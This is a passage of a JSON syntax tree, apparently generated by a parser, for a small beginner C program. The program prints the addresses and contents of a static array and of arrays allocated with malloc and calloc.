%d\\n\", i, &vs[i], i, vs[i]);\n }\n\n puts(\"\\n\");\n\n // Dinamyc vector allocation using malloc (Heap memory)\n // There're trash at the memory allocated\n int *vh_mal = (int *) malloc(5 * sizeof(int));\n\n puts(\"### DINAMYC VECTOR WHITH MALLOC ###\");\n printf(\"&vh_mal = %p vh_mal = %p\\n\", &vh_mal, vh_mal);\n\n for (int i = 0; i < 5; i++)\n {\n printf(\"&vh_mal[%d] = %p, vh_mal[%d] = %d\\n\", i, &vh_mal[i], i, vh_mal[i]);\n }\n\n puts(\"\\n\");\n\n // Dinamyc vector allocation using calloc (Heap memory)\n // Thare're no trash at the memory allocated\n int *vh_cal = (int *) calloc(5, sizeof(int));\n\n puts(\"### DINAMYC VECTOR WHITH CALLOC ###\");\n printf(\"&vh_cal = %p vh_cal = %p\\n\", &vh_cal, vh_cal);\n\n for (int i = 0; i < 5; i++)\n {\n printf(\"&vh_cal[%d] = %p, vh_cal[%d] = %d\\n\", i, &vh_cal[i], i, vh_cal[i]);\n }\n\n puts(\"\\n\");\n\n\n return 0;\n}", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 48, "column": 1}}, {"id": 7, "type": "primitive_type", "text": "int", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 3}}, {"id": 8, "type": "function_declarator", "text": "main()", "parent": 6, "children": [9, 10], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 10}}, {"id": 9, "type": "identifier", "text": "main", "parent": 8, "children": [], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 8}}, {"id": 10, "type": "parameter_list", "text": "()", "parent": 8, "children": [], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 10}}, {"id": 11, "type": "declaration", "text": "int vs[5] = {0, 10, 20, 30, 40};", "parent": 6, "children": [12, 13], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 36}}, {"id": 12, "type": "primitive_type", "text": "int", "parent": 11, "children": [], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 7}}, {"id": 13, "type": "init_declarator", "text": "vs[5] = {0, 10, 20, 30, 40}", "parent": 11, "children": [14, 17, 18], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 35}}, {"id": 14, "type": "array_declarator", "text": "vs[5]", "parent": 13, "children": [15, 16], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 13}}, {"id": 15, "type": "identifier", "text": "vs", "parent": 14, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 10}}, {"id": 16, "type": "number_literal", "text": "5", "parent": 14, "children": [], "start_point": {"row": 6, "column": 11}, "end_point": {"row": 6, "column": 12}}, {"id": 17, "type": "=", "text": "=", "parent": 13, "children": [], "start_point": {"row": 6, "column": 14}, "end_point": {"row": 6, "column": 15}}, {"id": 18, "type": "initializer_list", "text": "{0, 10, 20, 30, 40}", "parent": 13, "children": [19, 20, 21, 22, 23], "start_point": {"row": 6, "column": 16}, "end_point": {"row": 6, "column": 35}}, {"id": 19, "type": "number_literal", "text": "0", "parent": 18, "children": [], "start_point": {"row": 6, "column": 17}, "end_point": {"row": 6, "column": 18}}, {"id": 20, "type": "number_literal", "text": "10", "parent": 18, "children": [], "start_point": {"row": 6, "column": 20}, "end_point": {"row": 6, "column": 22}}, {"id": 21, "type": "number_literal", "text": "20", "parent": 18, "children": [], "start_point": {"row": 6, "column": 24}, "end_point": {"row": 6, "column": 26}}, {"id": 22, "type": "number_literal", "text": "30", "parent": 18, "children": [], "start_point": {"row": 6, "column": 28}, "end_point": {"row": 6, "column": 30}}, {"id": 23, "type": "number_literal", "text": "40", "parent": 18, "children": [], "start_point": {"row": 6, "column": 32}, "end_point": {"row": 6, "column": 34}}, {"id": 24, "type": "call_expression", "text": "puts(\"### STATIC VECTOR ###\")", "parent": 6, "children": [25, 26], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 33}}, {"id": 25, "type": "identifier", "text": "puts", "parent": 24, "children": [], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 8}}, {"id": 26, "type": "argument_list", "text": "(\"### STATIC VECTOR ###\")", "parent": 24, "children": [27], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 33}}, {"id": 27, "type": "string_literal", "text": "\"### STATIC VECTOR ###\"", "parent": 26, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 32}}, {"id": 28, "type": "call_expression", "text": "printf(\"&vs = %p vs = %p\\n\", &vs, vs)", "parent": 6, "children": [29, 30], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 41}}, {"id": 29, "type": "identifier", "text": "printf", "parent": 28, "children": [], "start_point": {"row": 9, "column": 4}, "end_point": {"row": 9, "column": 10}}, {"id": 30, "type": "argument_list", "text": "(\"&vs = %p vs = %p\\n\", &vs, vs)", "parent": 28, "children": [31, 33, 35], "start_point": {"row": 9, "column": 10}, "end_point": {"row": 9, "column": 41}}, {"id": 31, "type": "string_literal", "text": "\"&vs = %p vs = %p\\n\"", "parent": 30, "children": [32], "start_point": {"row": 9, "column": 11}, "end_point": {"row": 9, "column": 31}}, {"id": 32, "type": "escape_sequence", "text": "\\n", "parent": 31, "children": [], "start_point": {"row": 9, "column": 28}, "end_point": {"row": 9, "column": 30}}, {"id": 33, "type": "pointer_expression", "text": "&vs", "parent": 30, "children": [34], "start_point": {"row": 9, "column": 33}, "end_point": {"row": 9, "column": 36}}, {"id": 34, "type": "identifier", "text": "vs", "parent": 33, "children": [], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 36}}, {"id": 35, "type": "identifier", "text": "vs", "parent": 30, "children": [], "start_point": {"row": 9, "column": 38}, "end_point": {"row": 9, "column": 40}}, {"id": 36, "type": "for_statement", "text": "for (int i = 0; i < 5; i++)\n {\n printf(\"&vs[%d] = %p, vs[%d] = %d\\n\", i, &vs[i], i, vs[i]);\n }", "parent": 6, "children": [37, 43, 47], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 14, "column": 5}}, {"id": 37, "type": "declaration", "text": "int i = 0;", "parent": 36, "children": [38, 39], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 19}}, {"id": 38, "type": "primitive_type", "text": "int", "parent": 37, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 12}}, {"id": 39, "type": "init_declarator", "text": "i = 0", "parent": 37, "children": [40, 41, 42], "start_point": {"row": 11, "column": 13}, "end_point": {"row": 11, "column": 18}}, {"id": 40, "type": "identifier", "text": "i", "parent": 39, "children": [], "start_point": {"row": 11, "column": 13}, "end_point": {"row": 11, "column": 14}}, {"id": 41, "type": "=", "text": "=", "parent": 39, "children": [], "start_point": {"row": 11, "column": 15}, "end_point": {"row": 11, "column": 16}}, {"id": 42, "type": "number_literal", "text": "0", "parent": 39, "children": [], "start_point": {"row": 11, "column": 17}, "end_point": {"row": 11, "column": 18}}, {"id": 43, "type": "binary_expression", "text": "i < 5", "parent": 36, "children": [44, 45, 46], "start_point": {"row": 11, "column": 20}, "end_point": {"row": 11, "column": 25}}, {"id": 44, "type": "identifier", "text": "i", "parent": 43, "children": [], "start_point": {"row": 11, "column": 20}, "end_point": {"row": 11, "column": 21}}, {"id": 45, "type": "<", "text": "<", "parent": 43, "children": [], "start_point": {"row": 11, "column": 22}, "end_point": {"row": 11, "column": 23}}, {"id": 46, "type": "number_literal", "text": "5", "parent": 43, "children": [], "start_point": {"row": 11, "column": 24}, "end_point": {"row": 11, "column": 25}}, {"id": 47, "type": "update_expression", "text": "i++", "parent": 36, "children": [48, 49], "start_point": {"row": 11, "column": 27}, "end_point": {"row": 11, "column": 30}}, {"id": 48, "type": "identifier", "text": "i", "parent": 47, "children": [], "start_point": {"row": 11, "column": 27}, "end_point": {"row": 11, "column": 28}}, {"id": 49, "type": "++", "text": "++", "parent": 47, "children": [], "start_point": {"row": 11, "column": 28}, "end_point": {"row": 11, "column": 30}}, {"id": 50, "type": "call_expression", "text": "printf(\"&vs[%d] = %p, vs[%d] = %d\\n\", i, &vs[i], i, vs[i])", "parent": 36, "children": [51, 52], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 66}}, {"id": 51, "type": "identifier", "text": "printf", "parent": 50, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 14}}, {"id": 52, "type": "argument_list", "text": "(\"&vs[%d] = %p, vs[%d] = %d\\n\", i, &vs[i], i, vs[i])", "parent": 50, "children": [53, 55, 56, 60, 61], "start_point": {"row": 13, "column": 14}, "end_point": {"row": 13, "column": 66}}, {"id": 53, "type": "string_literal", "text": "\"&vs[%d] = %p, vs[%d] = %d\\n\"", "parent": 52, "children": [54], "start_point": {"row": 13, "column": 15}, "end_point": {"row": 13, "column": 44}}, {"id": 54, "type": "escape_sequence", "text": "\\n", "parent": 53, "children": [], "start_point": {"row": 13, "column": 41}, "end_point": {"row": 13, "column": 43}}, {"id": 55, "type": "identifier", "text": "i", "parent": 52, "children": [], "start_point": {"row": 13, "column": 46}, "end_point": {"row": 13, "column": 47}}, {"id": 56, "type": "pointer_expression", "text": "&vs[i]", "parent": 52, "children": [57], "start_point": {"row": 13, "column": 49}, "end_point": {"row": 13, "column": 55}}, {"id": 57, "type": "subscript_expression", "text": "vs[i]", "parent": 56, "children": [58, 59], "start_point": {"row": 13, "column": 50}, "end_point": {"row": 13, "column": 55}}, {"id": 58, "type": "identifier", "text": "vs", "parent": 57, "children": [], "start_point": {"row": 13, "column": 50}, "end_point": {"row": 13, "column": 52}}, {"id": 59, "type": "identifier", "text": "i", "parent": 57, "children": [], "start_point": {"row": 13, "column": 53}, "end_point": {"row": 13, "column": 54}}, {"id": 60, "type": "identifier", "text": "i", "parent": 52, "children": [], "start_point": {"row": 13, "column": 57}, "end_point": {"row": 13, "column": 58}}, {"id": 61, "type": "subscript_expression", "text": "vs[i]", "parent": 52, "children": [62, 63], "start_point": {"row": 13, "column": 60}, "end_point": {"row": 13, "column": 65}}, {"id": 62, "type": "identifier", "text": "vs", "parent": 61, "children": [], "start_point": {"row": 13, "column": 60}, "end_point": {"row": 13, "column": 62}}, {"id": 63, "type": "identifier", "text": "i", "parent": 61, "children": [], "start_point": {"row": 13, "column": 63}, "end_point": {"row": 13, "column": 64}}, {"id": 64, "type": "call_expression", "text": "puts(\"\\n\")", "parent": 6, "children": [65, 66], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 14}}, {"id": 65, "type": "identifier", "text": "puts", "parent": 64, "children": [], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 8}}, {"id": 66, "type": "argument_list", "text": "(\"\\n\")", "parent": 64, "children": [67], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 14}}, {"id": 67, "type": "string_literal", "text": "\"\\n\"", "parent": 66, "children": [68], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 13}}, {"id": 68, "type": "escape_sequence", "text": "\\n", "parent": 67, "children": [], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 12}}, {"id": 69, "type": "declaration", "text": "int *vh_mal = (int *) malloc(5 * sizeof(int));", "parent": 6, "children": [70, 71], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 50}}, {"id": 70, "type": "primitive_type", "text": "int", "parent": 69, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 7}}, {"id": 71, "type": "init_declarator", "text": "*vh_mal = (int *) malloc(5 * sizeof(int))", "parent": 69, "children": [72, 75, 76], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 49}}, {"id": 72, "type": "pointer_declarator", "text": "*vh_mal", "parent": 71, "children": [73, 74], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 15}}, {"id": 73, "type": "*", "text": "*", "parent": 72, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 9}}, {"id": 74, "type": "identifier", "text": "vh_mal", "parent": 72, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 15}}, {"id": 75, "type": "=", "text": "=", "parent": 71, "children": [], "start_point": {"row": 20, "column": 16}, "end_point": {"row": 20, "column": 17}}, {"id": 76, "type": "cast_expression", "text": "(int *) malloc(5 * sizeof(int))", "parent": 71, "children": [77, 81], "start_point": {"row": 20, "column": 18}, "end_point": {"row": 20, "column": 49}}, {"id": 77, "type": "type_descriptor", "text": "int *", "parent": 76, "children": [78, 79], "start_point": {"row": 20, "column": 19}, "end_point": {"row": 20, "column": 24}}, {"id": 78, "type": "primitive_type", "text": "int", "parent": 77, "children": [], "start_point": {"row": 20, "column": 19}, "end_point": {"row": 20, "column": 22}}, {"id": 79, "type": "abstract_pointer_declarator", "text": "*", "parent": 77, "children": [80], "start_point": {"row": 20, "column": 23}, "end_point": {"row": 20, "column": 24}}, {"id": 80, "type": "*", "text": "*", "parent": 79, "children": [], "start_point": {"row": 20, "column": 23}, "end_point": {"row": 20, "column": 24}}, {"id": 81, "type": "call_expression", "text": "malloc(5 * sizeof(int))", "parent": 76, "children": [82, 83], "start_point": {"row": 20, "column": 26}, "end_point": {"row": 20, "column": 49}}, {"id": 82, "type": "identifier", "text": "malloc", "parent": 81, "children": [], "start_point": {"row": 20, "column": 26}, "end_point": {"row": 20, "column": 32}}, {"id": 83, "type": "argument_list", "text": "(5 * sizeof(int))", "parent": 81, "children": [84], "start_point": {"row": 20, "column": 32}, "end_point": {"row": 20, "column": 49}}, {"id": 84, "type": "binary_expression", "text": "5 * sizeof(int)", "parent": 83, "children": [85, 86, 87], "start_point": {"row": 20, "column": 33}, "end_point": {"row": 20, "column": 48}}, {"id": 85, "type": "number_literal", "text": "5", "parent": 84, "children": [], "start_point": {"row": 20, "column": 33}, "end_point": {"row": 20, "column": 34}}, {"id": 86, "type": "*", "text": "*", "parent": 84, "children": [], "start_point": {"row": 20, "column": 35}, "end_point": {"row": 20, "column": 36}}, {"id": 87, "type": "sizeof_expression", "text": "sizeof(int)", "parent": 84, "children": [88], "start_point": {"row": 20, "column": 37}, "end_point": {"row": 20, "column": 48}}, {"id": 88, "type": "type_descriptor", "text": "int", "parent": 87, "children": [89], "start_point": {"row": 20, "column": 44}, "end_point": {"row": 20, "column": 47}}, {"id": 89, "type": "primitive_type", "text": "int", "parent": 88, "children": [], "start_point": {"row": 20, "column": 44}, "end_point": {"row": 20, "column": 47}}, {"id": 90, "type": "call_expression", "text": "puts(\"### DINAMYC VECTOR WHITH MALLOC ###\")", "parent": 6, "children": [91, 92], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 47}}, {"id": 91, "type": "identifier", "text": "puts", "parent": 90, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 8}}, {"id": 92, "type": "argument_list", "text": "(\"### DINAMYC VECTOR WHITH MALLOC ###\")", "parent": 90, "children": [93], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 47}}, {"id": 93, "type": "string_literal", "text": "\"### DINAMYC VECTOR WHITH MALLOC ###\"", "parent": 92, "children": [], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 46}}, {"id": 94, "type": "call_expression", "text": "printf(\"&vh_mal = %p vh_mal = %p\\n\", &vh_mal, vh_mal)", "parent": 6, "children": [95, 96], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 57}}, {"id": 95, "type": "identifier", "text": "printf", "parent": 94, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 10}}, {"id": 96, "type": "argument_list", "text": "(\"&vh_mal = %p vh_mal = %p\\n\", &vh_mal, vh_mal)", "parent": 94, "children": [97, 99, 101], "start_point": {"row": 23, "column": 10}, "end_point": {"row": 23, "column": 57}}, {"id": 97, "type": "string_literal", "text": "\"&vh_mal = %p vh_mal = %p\\n\"", "parent": 96, "children": [98], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 39}}, {"id": 98, "type": "escape_sequence", "text": "\\n", "parent": 97, "children": [], "start_point": {"row": 23, "column": 36}, "end_point": {"row": 23, "column": 38}}, {"id": 99, "type": "pointer_expression", "text": "&vh_mal", "parent": 96, "children": [100], "start_point": {"row": 23, "column": 41}, "end_point": {"row": 23, "column": 48}}, {"id": 100, "type": "identifier", "text": "vh_mal", "parent": 99, "children": [], "start_point": {"row": 23, "column": 42}, "end_point": {"row": 23, "column": 48}}, {"id": 101, "type": "identifier", "text": "vh_mal", "parent": 96, "children": [], "start_point": {"row": 23, "column": 50}, "end_point": {"row": 23, "column": 56}}, {"id": 102, "type": "for_statement", "text": "for (int i = 0; i < 5; i++)\n {\n printf(\"&vh_mal[%d] = %p, vh_mal[%d] = %d\\n\", i, &vh_mal[i], i, vh_mal[i]);\n }", "parent": 6, "children": [103, 109, 113], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 28, "column": 5}}, {"id": 103, "type": "declaration", "text": "int i = 0;", "parent": 102, "children": [104, 105], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 19}}, {"id": 104, "type": "primitive_type", "text": "int", "parent": 103, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 12}}, {"id": 105, "type": "init_declarator", "text": "i = 0", "parent": 103, "children": [106, 107, 108], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 18}}, {"id": 106, "type": "identifier", "text": "i", "parent": 105, "children": [], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 14}}, {"id": 107, "type": "=", "text": "=", "parent": 105, "children": [], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 25, "column": 16}}, {"id": 108, "type": "number_literal", "text": "0", "parent": 105, "children": [], "start_point": {"row": 25, "column": 17}, "end_point": {"row": 25, "column": 18}}, {"id": 109, "type": "binary_expression", "text": "i < 5", "parent": 102, "children": [110, 111, 112], "start_point": {"row": 25, "column": 20}, "end_point": {"row": 25, "column": 25}}, {"id": 110, "type": "identifier", "text": "i", "parent": 109, "children": [], "start_point": {"row": 25, "column": 20}, "end_point": {"row": 25, "column": 21}}, {"id": 111, "type": "<", "text": "<", "parent": 109, "children": [], "start_point": {"row": 25, "column": 22}, "end_point": {"row": 25, "column": 23}}, {"id": 112, "type": "number_literal", "text": "5", "parent": 109, "children": [], "start_point": {"row": 25, "column": 24}, "end_point": {"row": 25, "column": 25}}, {"id": 113, "type": "update_expression", "text": "i++", "parent": 102, "children": [114, 115], "start_point": {"row": 25, "column": 27}, "end_point": {"row": 25, "column": 30}}, {"id": 114, "type": "identifier", "text": "i", "parent": 113, "children": [], "start_point": {"row": 25, "column": 27}, "end_point": {"row": 25, "column": 28}}, {"id": 115, "type": "++", "text": "++", "parent": 113, "children": [], "start_point": {"row": 25, "column": 28}, "end_point": {"row": 25, "column": 30}}, {"id": 116, "type": "call_expression", "text": "printf(\"&vh_mal[%d] = %p, vh_mal[%d] = %d\\n\", i, &vh_mal[i], i, vh_mal[i])", "parent": 102, "children": [117, 118], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 82}}, {"id": 117, "type": "identifier", "text": "printf", "parent": 116, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 14}}, {"id": 118, "type": "argument_list", "text": "(\"&vh_mal[%d] = %p, vh_mal[%d] = %d\\n\", i, &vh_mal[i], i, vh_mal[i])", "parent": 116, "children": [119, 121, 122, 126, 127], "start_point": {"row": 27, "column": 14}, "end_point": {"row": 27, "column": 82}}, {"id": 119, "type": "string_literal", "text": "\"&vh_mal[%d] = %p, vh_mal[%d] = %d\\n\"", "parent": 118, "children": [120], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 52}}, {"id": 120, "type": "escape_sequence", "text": "\\n", "parent": 119, "children": [], "start_point": {"row": 27, "column": 49}, "end_point": {"row": 27, "column": 51}}, {"id": 121, "type": "identifier", "text": "i", "parent": 118, "children": [], "start_point": {"row": 27, "column": 54}, "end_point": {"row": 27, "column": 55}}, {"id": 122, "type": "pointer_expression", "text": "&vh_mal[i]", "parent": 118, "children": [123], "start_point": {"row": 27, "column": 57}, "end_point": {"row": 27, "column": 67}}, {"id": 123, "type": "subscript_expression", "text": "vh_mal[i]", "parent": 122, "children": [124, 125], "start_point": {"row": 27, "column": 58}, "end_point": {"row": 27, "column": 67}}, {"id": 124, "type": "identifier", "text": "vh_mal", "parent": 123, "children": [], "start_point": {"row": 27, "column": 58}, "end_point": {"row": 27, "column": 64}}, {"id": 125, "type": "identifier", "text": "i", "parent": 123, "children": [], "start_point": {"row": 27, "column": 65}, "end_point": {"row": 27, "column": 66}}, {"id": 126, "type": "identifier", "text": "i", "parent": 118, "children": [], "start_point": {"row": 27, "column": 69}, "end_point": {"row": 27, "column": 70}}, {"id": 127, "type": "subscript_expression", "text": "vh_mal[i]", "parent": 118, "children": [128, 129], "start_point": {"row": 27, "column": 72}, "end_point": {"row": 27, "column": 81}}, {"id": 128, "type": "identifier", "text": "vh_mal", "parent": 127, "children": [], "start_point": {"row": 27, "column": 72}, "end_point": {"row": 27, "column": 78}}, {"id": 129, "type": "identifier", "text": "i", "parent": 127, "children": [], "start_point": {"row": 27, "column": 79}, "end_point": {"row": 27, "column": 80}}, {"id": 130, "type": "call_expression", "text": "puts(\"\\n\")", "parent": 6, "children": [131, 132], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 14}}, {"id": 131, "type": "identifier", "text": "puts", "parent": 130, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 8}}, {"id": 132, "type": "argument_list", "text": "(\"\\n\")", "parent": 130, "children": [133], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 14}}, {"id": 133, "type": "string_literal", "text": "\"\\n\"", "parent": 132, "children": [134], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 13}}, {"id": 134, "type": "escape_sequence", "text": "\\n", "parent": 133, "children": [], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 12}}, {"id": 135, "type": "declaration", "text": "int *vh_cal = (int *) calloc(5, sizeof(int));", "parent": 6, "children": [136, 137], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 49}}, {"id": 136, "type": "primitive_type", "text": "int", "parent": 135, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 7}}, {"id": 137, "type": "init_declarator", "text": "*vh_cal = (int *) calloc(5, sizeof(int))", "parent": 135, "children": [138, 141, 142], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 48}}, {"id": 138, "type": "pointer_declarator", "text": "*vh_cal", "parent": 137, "children": [139, 140], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 15}}, {"id": 139, "type": "*", "text": "*", "parent": 138, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 9}}, {"id": 140, "type": "identifier", "text": "vh_cal", "parent": 138, "children": [], "start_point": {"row": 34, "column": 9}, "end_point": {"row": 34, "column": 15}}, {"id": 141, "type": "=", "text": "=", "parent": 137, "children": [], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 17}}, {"id": 142, "type": "cast_expression", "text": "(int *) calloc(5, sizeof(int))", "parent": 137, "children": [143, 147], "start_point": {"row": 34, "column": 18}, "end_point": {"row": 34, "column": 48}}, {"id": 143, "type": "type_descriptor", "text": "int *", "parent": 142, "children": [144, 145], "start_point": {"row": 34, "column": 19}, "end_point": {"row": 34, "column": 24}}, {"id": 144, "type": "primitive_type", "text": "int", "parent": 143, "children": [], "start_point": {"row": 34, "column": 19}, "end_point": {"row": 34, "column": 22}}, {"id": 145, "type": "abstract_pointer_declarator", "text": "*", "parent": 143, "children": [146], "start_point": {"row": 34, "column": 23}, "end_point": {"row": 34, "column": 24}}, {"id": 146, "type": "*", "text": "*", "parent": 145, "children": [], "start_point": {"row": 34, "column": 23}, "end_point": {"row": 34, "column": 24}}, {"id": 147, "type": "call_expression", "text": "calloc(5, sizeof(int))", "parent": 142, "children": [148, 149], "start_point": {"row": 34, "column": 26}, "end_point": {"row": 34, "column": 48}}, {"id": 148, "type": "identifier", "text": "calloc", "parent": 147, "children": [], "start_point": {"row": 34, "column": 26}, "end_point": {"row": 34, "column": 32}}, {"id": 149, "type": "argument_list", "text": "(5, sizeof(int))", "parent": 147, "children": [150, 151], "start_point": {"row": 34, "column": 32}, "end_point": {"row": 34, "column": 48}}, {"id": 150, "type": "number_literal", "text": "5", "parent": 149, "children": [], "start_point": {"row": 34, "column": 33}, "end_point": {"row": 34, "column": 34}}, {"id": 151, "type": "sizeof_expression", "text": "sizeof(int)", "parent": 149, "children": [152], "start_point": {"row": 34, "column": 36}, "end_point": {"row": 34, "column": 47}}, {"id": 152, "type": "type_descriptor", "text": "int", "parent": 151, "children": [153], "start_point": {"row": 34, "column": 43}, "end_point": {"row": 34, "column": 46}}, {"id": 153, "type": "primitive_type", "text": "int", "parent": 152, "children": [], "start_point": {"row": 34, "column": 43}, "end_point": {"row": 34, "column": 46}}, {"id": 154, "type": "call_expression", "text": "puts(\"### DINAMYC VECTOR WHITH CALLOC ###\")", "parent": 6, "children": [155, 156], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 47}}, {"id": 155, "type": "identifier", "text": "puts", "parent": 154, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 8}}, {"id": 156, "type": "argument_list", "text": "(\"### DINAMYC VECTOR WHITH CALLOC ###\")", "parent": 154, "children": [157], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 47}}, {"id": 157, "type": "string_literal", "text": "\"### DINAMYC VECTOR WHITH CALLOC ###\"", "parent": 156, "children": [], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 46}}, {"id": 158, "type": "call_expression", "text": "printf(\"&vh_cal = %p vh_cal = %p\\n\", &vh_cal, vh_cal)", "parent": 6, "children": [159, 160], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 57}}, {"id": 159, "type": "identifier", "text": "printf", "parent": 158, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 10}}, {"id": 160, "type": "argument_list", "text": "(\"&vh_cal = %p vh_cal = %p\\n\", &vh_cal, vh_cal)", "parent": 158, "children": [161, 163, 165], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 57}}, {"id": 161, "type": "string_literal", "text": "\"&vh_cal = %p vh_cal = %p\\n\"", "parent": 160, "children": [162], "start_point": {"row": 37, "column": 11}, "end_point": {"row": 37, "column": 39}}, {"id": 162, "type": "escape_sequence", "text": "\\n", "parent": 161, "children": [], "start_point": {"row": 37, "column": 36}, "end_point": {"row": 37, "column": 38}}, {"id": 163, "type": "pointer_expression", "text": "&vh_cal", "parent": 160, "children": [164], "start_point": {"row": 37, "column": 41}, "end_point": {"row": 37, "column": 48}}, {"id": 164, "type": "identifier", "text": "vh_cal", "parent": 163, "children": [], "start_point": {"row": 37, "column": 42}, "end_point": {"row": 37, "column": 48}}, {"id": 165, "type": "identifier", "text": "vh_cal", "parent": 160, "children": [], "start_point": {"row": 37, "column": 50}, "end_point": {"row": 37, "column": 56}}, {"id": 166, "type": "for_statement", "text": "for (int i = 0; i < 5; i++)\n {\n printf(\"&vh_cal[%d] = %p, vh_cal[%d] = %d\\n\", i, &vh_cal[i], i, vh_cal[i]);\n }", "parent": 6, "children": [167, 173, 177], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 42, "column": 5}}, {"id": 167, "type": "declaration", "text": "int i = 0;", "parent": 166, "children": [168, 169], "start_point": {"row": 39, "column": 9}, "end_point": {"row": 39, "column": 19}}, {"id": 168, "type": "primitive_type", "text": "int", "parent": 167, "children": [], "start_point": {"row": 39, "column": 9}, "end_point": {"row": 39, "column": 12}}, {"id": 169, "type": "init_declarator", "text": "i = 0", "parent": 167, "children": [170, 171, 172], "start_point": {"row": 39, "column": 13}, "end_point": {"row": 39, "column": 18}}, {"id": 170, "type": "identifier", "text": "i", "parent": 169, "children": [], "start_point": {"row": 39, "column": 13}, "end_point": {"row": 39, "column": 14}}, {"id": 171, "type": "=", "text": "=", "parent": 169, "children": [], "start_point": {"row": 39, "column": 15}, "end_point": {"row": 39, "column": 16}}, {"id": 172, "type": "number_literal", "text": "0", "parent": 169, "children": [], "start_point": {"row": 39, "column": 17}, "end_point": {"row": 39, "column": 18}}, {"id": 173, "type": "binary_expression", "text": "i < 5", "parent": 166, "children": [174, 175, 176], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 25}}, {"id": 174, "type": "identifier", "text": "i", "parent": 173, "children": [], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 21}}, {"id": 175, "type": "<", "text": "<", "parent": 173, "children": [], "start_point": {"row": 39, "column": 22}, "end_point": {"row": 39, "column": 23}}, {"id": 176, "type": "number_literal", "text": "5", "parent": 173, "children": [], "start_point": {"row": 39, "column": 24}, "end_point": {"row": 39, "column": 25}}, {"id": 177, "type": "update_expression", "text": "i++", "parent": 166, "children": [178, 179], "start_point": {"row": 39, "column": 27}, "end_point": {"row": 39, "column": 30}}, {"id": 178, "type": "identifier", "text": "i", "parent": 177, "children": [], "start_point": {"row": 39, "column": 27}, "end_point": {"row": 39, "column": 28}}, {"id": 179, "type": "++", "text": "++", "parent": 177, "children": [], "start_point": {"row": 39, "column": 28}, "end_point": {"row": 39, "column": 30}}, {"id": 180, "type": "call_expression", "text": "printf(\"&vh_cal[%d] = %p, 